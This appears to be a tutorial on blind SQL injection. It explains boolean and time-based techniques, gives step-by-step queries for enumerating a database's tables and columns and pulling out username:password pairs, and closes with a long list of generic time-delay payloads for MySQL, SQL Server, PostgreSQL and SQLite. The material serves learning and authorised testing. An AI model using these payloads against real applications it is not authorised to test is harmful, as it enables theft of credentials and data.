Blind SQL injection arises when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors.
With blind SQL injection vulnerabilities, many techniques such as UNION attacks are not effective, because they rely on being able to see the results of the injected query within the application’s responses. It is still possible to exploit blind SQL injection to access unauthorized data, but different techniques must be used.
It asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.
https://owasp.org/www-community/attacks/Blind_SQL_Injection
Exploiting blind SQL injection by triggering conditional responses
Consider an application that uses tracking cookies to gather analytics about usage. Requests to the application include a cookie header like this:
- Cookie: security=high; PHPSESSID=d8a9577ce8582545259d9b5a54ae1f56
When a request containing a cookie is processed, the application determines whether this is a known user using an SQL query.
This query is vulnerable to SQL injection, but the results from the query are not returned to the user. However, the application does behave differently depending on whether the query returns any data. If it returns data (because a recognized cookie was submitted), then a “Welcome back” message is displayed within the page.
This behavior is enough to be able to exploit the blind SQL injection vulnerability and retrieve information, by triggering different responses conditionally, depending on an injected condition.
TRUE and FALSE Based detection (Boolean)
If the web application is vulnerable to SQL Injection, then it probably will not return anything (or just content, no ERRORS when blind technique). To make sure, the attacker will inject a query that will return ‘true’
- This allows us to determine the answer to any single injected condition, If the content of the page that returns ‘true’ is different than that of the page that returns ‘false’, then the attacker is able to distinguish when the executed query returns true or false.
Suppose that two requests are sent containing the following values in turn:
The first of these values will cause the query to return results, because the injected “or 1=1” condition is true, and so the content message will be displayed normally.
- 1′ or 1=1#
- true
Whereas the second value will cause the query to not return any results, because the injected condition is false, and so the content message will not be displayed. I will print 1 since, that exists in the database
- 1′ or 1=2#
- false
- 1′ and 1=2#
- false
Should not display anything, as “and” operator requires both to be true 1=2 is not true
Boolean SQL injection Example
- Substring(query,start,len): Returns a substring starting from position of the text and length. If start is greater than the length of results it returns null value
- ASCII(char): It gives back ASCII value of the input character. 0 means null (http://www.asciitable.com/)
- LENGTH(query): It gives back the number of character in the input text
- LIMIT: MySQL limit of number of records
Steps
1. Find the parameter that is vulnerable (Blind/ERROR)
- Using ‘ “ and comments (it should return an ERROR or no output)
2. Try logical (OR/AND) & concatenation (PIPE/|/+) operators within single or double quotes to understand syntax
Logical
- blah’ or 1=1 #
- true
Concatenation
- ad’|’min’ or 1=1#
- true, and the valid value is accepted
3. Guest the table name (True/False)
Try the same true/false condition, but this time test if the query inside parenthesis returns 1, we limit the lines to one. Use common words to guess the table name
- admin’ and (select 1 from user limit 1)=1#
- false (user table doesn’t exist, should return an error or nothing)
- admin’ and (select 1 from accounts limit 1)=1#
- true (due to the table account exists, should return output normally)
4. Use SQL functions to extract data (asci/substring/length)
Use this technique to test character by character, if the output is true it should return something, otherwise, and ERROR or nothing
- blah’ or ascii(substring((select username from accounts limit 1),1,1))=97#
- true (blah doesn’t exist, so, the other condition is executed, it matched the first entry to match “a” character ASCII 97, output is shown)
- blah’ or ascii(substring((select username from accounts limit 1),1,1))=98#
- false (get an error or nothing, this is due to the first character is not equals to ASCII 98 which is “b” character, since it is “a”)
In order to check for the second character since, we know the first one is “a”
- blah’ or ascii(substring((select username from accounts limit 1),2,1))=100#
- true (should return something, since the second character is “d” ASCII 100)
We can also check if a character is greater/lower/equals to, we already saw examples using equals to
- blah’ or ascii(substring((select username from accounts limit 1),2,1))<101#
- true (checks if the second character is lower than “e” ASCII 101, in this case is true since, “d” is lower, output should return)
Break down of the query
ascii(substring((select username from accounts limit 1),1,1))=97
- (select username from accounts limit 1) = admin
- substring(admin,1,1)
- asci(a)=97
- 97=97
To know the length of the word
- blah’ or ascii(substring((select username from accounts limit 1),6,1))=0#
- true (the word admin contains 5 characters, a character out of range would be null, ASCII 0, something should be printed, since 0=0)
TIME based
This type of blind SQL injection relies on the database pausing for a specified amount of time, then returning the results, indicating successful SQL query executing. Using a test conditional true we can execute time functions.
This technique differs from DBMS to DBMS.
The example below shows how a hacker could identify if a parameter is vulnerable to SQL injection using this technique (a slow response would mean the application uses a MySQL database).
- 1′ AND sleep(15)#
The below line will execute the SHA1() function 10000000 times in the database, which will add a significant amount of delay in response.
- 1′ AND BENCHMARK(10000000,SHA1(1337))#
MySQL
- SLEEP(time)
Only available since MySQL 5. It takes a number of seconds to wait in parameter. More details here.
- BENCHMARK(count, expr)
- SELECT BENCHMARK(100000,rand())
Executes the specified expression multiple times. By using a large number as first parameter, you will be able to generate a delay. More details about the function on MySQL website.
SQL Server & MS SQL
- WAITFOR DELAY ‘hh:mm:ss’
- Select * from products where id=1; waitfor delay ‘00:00:10’
- WAITFOR TIME ‘hh:mm:ss’
- Select * from products where id=1; waitfor time ‘00:00:10’
PostgreSQL : AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
Suspends the execution for the specified amount of time. For more information about this procedure consult SQL Server official documentation.
- WAIT FOR TIME ‘hh:mm:ss’
Suspends the execution of the query and continues it when system time is equal to parameter. See link above for more information.
Oracle
Time-based attacks are a more complicated in Oracle. Refer to Oracle section below for more information.
- SLEEP(time)
- BEGIN DBMS_LOCK.SLEEP(15);END;
- AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE(‘[RANDSTR]’,[SLEEPTIME])
This technique relies on inference testing which is explained in this article. Simply put, by injecting a conditional time delay in the query the attacker can ask a yes/no question to the database. Depending if the condition is verified or not, the time delay will be executed and the server response will be abnormally long. This will allow the attacker to know if the condition was true or false.
Steps
1. Discover the vulnerable parameter
- Using ‘ “ and comments (it should return an ERROR or no output), if its blind nothing out of normal should be returned
2. If the test is blind, use true false conditions to identify any anomaly (OR/AND)
- 1’ and 1=1–
- 1’ or 1=1/*
- 1’ and 1=2#
- 1’ or 1=2–+-
3. Identify the number of columns using ORDER BY, or, select statement
- 1’ union select 1,1#
- 1’ ORDER BY 1–
4. Once, the number of columns have been identified, we can use one of those fields to inject our time based, if the query takes more time than normal the query executed successfully
- 1’ union select 1,BENCHMARK(100000,rand())#
Conditions
MySQL
- IF(condition, when_true, when_false)
Only valid when using in SQL statement. In stored procedure the syntax is identic to Oracle’s.
SQL Server
- IF condition when_true [ELSE when_false]
Can only be used in stored procedure or in an independent stacked query.
Oracle
- IF condition THEN when_true [ELSE when_false] END IF
Can only be used in PL/SQL.
In the case of time-based attacks, the attacker makes the database perform a time-intensive operation. If the web site does not return a response immediately, the web application is vulnerable to Blind SQL Injection.
- 1′ and if(1=1, sleep(10), true)#
- 1′ or if(1=1, sleep(10), true)#
- 1′ and if(1=1, sleep(10), false)#
- 1′ or if(1=1, sleep(10), true)#
The ones below don’t sleep, meaning there is a difference between the pairs, if we detect a difference in behavior, it means this is vulnerable to Blind SQL injection
- 1′ and if(1=2, sleep(10), true)#
- 1′ and if(1=2, sleep(10), false)#
Blind SQL Injections are often used to build the database schema and get all the data in the database. This is done using brute force techniques and requires many requests but may be automated by attackers using SQL Injection tools.
Hacking steps
1. Enumerate how many columns are in use, while output s displayed the condition is true
- 1′ order by 1#
- 1′ order by 2#
- 1′ order by 3#
We can say this database, has 2 columns.
2. Extracting database tables
https://mariadb.com/kb/en/information-schema-tables-table/
- 1′ union select null,table_name from information_schema.tables#
Filtering the results
- 1′ union all select 1,table_name from information_schema.tables where table_schema=database()#
Grouping the results
- 1′ union all select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
3. Extracting the column names
0x3a = separator hex of :
group_concat = grouping of output in one single line
https://mariadb.com/kb/en/information-schema-columns-table/
- 1′ union select 1,group_concat(table_name,0x3a,column_name) from information_schema.columns where table_schema=database()#
Now we know
- Table names
- Column names
4. Extract data
- 1′ union all select 1,group_concat(user, 0x3a,password) from users#
Guessing characters
For example, suppose there is a table called Users with the columns Username and Password, and a user called Administrator. We can systematically determine the password for this user by sending a series of inputs to test the password one character at a time.
To do this, we start with the following input:
This returns the nothing in message, indicating that the injected condition is false, and so the first character of the password is not greater than m.
- 1′ UNION SELECT user,password FROM users WHERE user = ‘admin’ and SUBSTRING(password, 1, 1) > ‘m’#
This returns the password in the message, indicating that the injected condition is true, and so the first character of the password is lower than m.
- 1′ UNION SELECT user,password FROM users WHERE user = ‘admin’ and SUBSTRING(password, 1, 1) < ‘m’#
We can continue this process to systematically determine the full password for the Administrator user.
Note: The SUBSTRING function is called SUBSTR on some types of database.
https://www.sqlservertutorial.net/sql-server-string-functions/sql-server-substring-function/
Oracle SUBSTR(‘foobar’, 4, 2)
Microsoft SUBSTRING(‘foobar’, 4, 2)
PostgreSQL SUBSTRING(‘foobar’, 4, 2)
MySQL SUBSTRING(‘foobar’, 4, 2)
The SUBSTRING() extracts a substring with a specified length starting from a location in an input string.
The following shows the syntax of the SUBSTRING() function:
- SUBSTRING(input_string, start, length);
Example
- SUBSTRING(‘SQL Server SUBSTRING’, 5, 6) result;
Result
- Server
Generic Time Based SQL Injection Payloads
sleep(5)#
1 or sleep(5)#
” or sleep(5)#
‘ or sleep(5)#
” or sleep(5)=”
‘ or sleep(5)=’
1) or sleep(5)#
“) or sleep(5)=”
‘) or sleep(5)=’
1)) or sleep(5)#
“)) or sleep(5)=”
‘)) or sleep(5)=’
;waitfor delay ‘0:0:5’–
);waitfor delay ‘0:0:5’–
‘;waitfor delay ‘0:0:5’–
“;waitfor delay ‘0:0:5’–
‘);waitfor delay ‘0:0:5’–
“);waitfor delay ‘0:0:5’–
));waitfor delay ‘0:0:5’–
‘));waitfor delay ‘0:0:5’–
“));waitfor delay ‘0:0:5’–
benchmark(10000000,MD5(1))#
1 or benchmark(10000000,MD5(1))#
” or benchmark(10000000,MD5(1))#
‘ or benchmark(10000000,MD5(1))#
1) or benchmark(10000000,MD5(1))#
“) or benchmark(10000000,MD5(1))#
‘) or benchmark(10000000,MD5(1))#
1)) or benchmark(10000000,MD5(1))#
“)) or benchmark(10000000,MD5(1))#
‘)) or benchmark(10000000,MD5(1))#
pg_sleep(5)–
1 or pg_sleep(5)–
” or pg_sleep(5)–
‘ or pg_sleep(5)–
1) or pg_sleep(5)–
“) or pg_sleep(5)–
‘) or pg_sleep(5)–
1)) or pg_sleep(5)–
“)) or pg_sleep(5)–
‘)) or pg_sleep(5)–
AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND ‘vRxe’=’vRxe
AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND ‘%’=’
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)–
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)#
SLEEP(5)#
SLEEP(5)–
SLEEP(5)=”
SLEEP(5)=’
or SLEEP(5)
or SLEEP(5)#
or SLEEP(5)–
or SLEEP(5)=”
or SLEEP(5)=’
waitfor delay ’00:00:05′
waitfor delay ’00:00:05′–
waitfor delay ’00:00:05’#
benchmark(50000000,MD5(1))
benchmark(50000000,MD5(1))–
benchmark(50000000,MD5(1))#
or benchmark(50000000,MD5(1))
or benchmark(50000000,MD5(1))–
or benchmark(50000000,MD5(1))#
pg_SLEEP(5)
pg_SLEEP(5)–
pg_SLEEP(5)#
or pg_SLEEP(5)
or pg_SLEEP(5)–
or pg_SLEEP(5)#
‘\”
AnD SLEEP(5)
AnD SLEEP(5)–
AnD SLEEP(5)#
&&SLEEP(5)
&&SLEEP(5)–
&&SLEEP(5)#
‘ AnD SLEEP(5) ANd ‘1
‘&&SLEEP(5)&&’1
ORDER BY SLEEP(5)
ORDER BY SLEEP(5)–
ORDER BY SLEEP(5)#
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)#
(SELECT * FROM (SELECT(SLEEP(5)))ecMj)–
+benchmark(3200,SHA1(1))+’
+ SLEEP(10) + ‘
RANDOMBLOB(500000000/2)
AND 2947=LIKE(‘ABCDEFG’,UPPER(HEX(RANDOMBLOB(500000000/2))))
OR 2947=LIKE(‘ABCDEFG’,UPPER(HEX(RANDOMBLOB(500000000/2))))
RANDOMBLOB(1000000000/2)
AND 2947=LIKE(‘ABCDEFG’,UPPER(HEX(RANDOMBLOB(1000000000/2))))
OR 2947=LIKE(‘ABCDEFG’,UPPER(HEX(RANDOMBLOB(1000000000/2))))
SLEEP(1)/*’ or SLEEP(1) or ‘” or SLEEP(1)